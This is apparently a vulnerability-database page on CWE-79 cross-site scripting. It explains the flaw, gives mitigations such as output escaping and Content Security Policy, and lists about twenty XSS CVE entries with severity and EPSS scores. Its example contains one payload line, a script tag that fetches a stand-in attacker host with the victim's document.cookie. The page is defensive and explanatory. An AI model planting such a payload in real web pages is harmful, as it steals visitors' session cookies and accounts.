Fallos del tipo CWE-79

30.338 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23734HIGHWordPress Gigaom Sphinx plugin <= 0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-43824MEDIUMThe Profile widget in Liferay Portal 7.4.0 through 7.4.3.111, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2EPSS 0.2%CVE-2024-38507LOWIn JetBrains Hub before 2024.2.34646 stored XSS via project description was possibleEPSS 0.2%CVE-2025-23522HIGHWordPress HM Portfolio plugin <= 1.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2019-25369MEDIUMOPNsense 19.1 Stored XSS via system_advanced_sysctl.phpEPSS 0.2%CVE-2025-65591MEDIUMnopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) via the Currencies functionality.EPSS 0.2%CVE-2026-56354MEDIUMn8n - Cross-Site Scripting and Open Redirect in Form NodeEPSS 0.2%CVE-2025-23839HIGHWordPress Sticky Button plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-47932HIGHCombodo iTop vulnerable to reflected XSS in ajax.render.php render_dashboardEPSS 0.2%CVE-2026-47096MEDIUMAJA HELO Plus < 2.1.7 Stored XSS via System Name ParameterEPSS 0.2%CVE-2025-15201MEDIUMSohuTV CacheCloud WebResourceController.java redirectNoPower cross site scriptingEPSS 0.2%CVE-2025-40627MEDIUMReflected Cross-Site Scripting (XSS) in AbanteCartEPSS 0.2%CVE-2024-9017MEDIUMPeepSo Core: Groups <= 6.4.6.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Group DescriptionEPSS 0.2%CVE-2025-23838HIGHWordPress Bauernregeln Plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-23622HIGHWordPress CBX Accounting & Bookkeeping plugin <= 1.3.14 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-23885HIGHWordPress MJ Contact us Plugin <= 5.2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-12516MEDIUMCoupon Plugin <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-0747HIGHStored Cross-Site vulnerability in EmbedAIEPSS 0.2%CVE-2026-23970HIGHWordPress Redirection for Contact Form 7 plugin <= 3.2.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-50810MEDIUMhopetree izone lts c011b48 contains a Cross Site Scripting (XSS) vulnerability in the article comment function. In \apps\comment\views.py, AEPSS 0.2%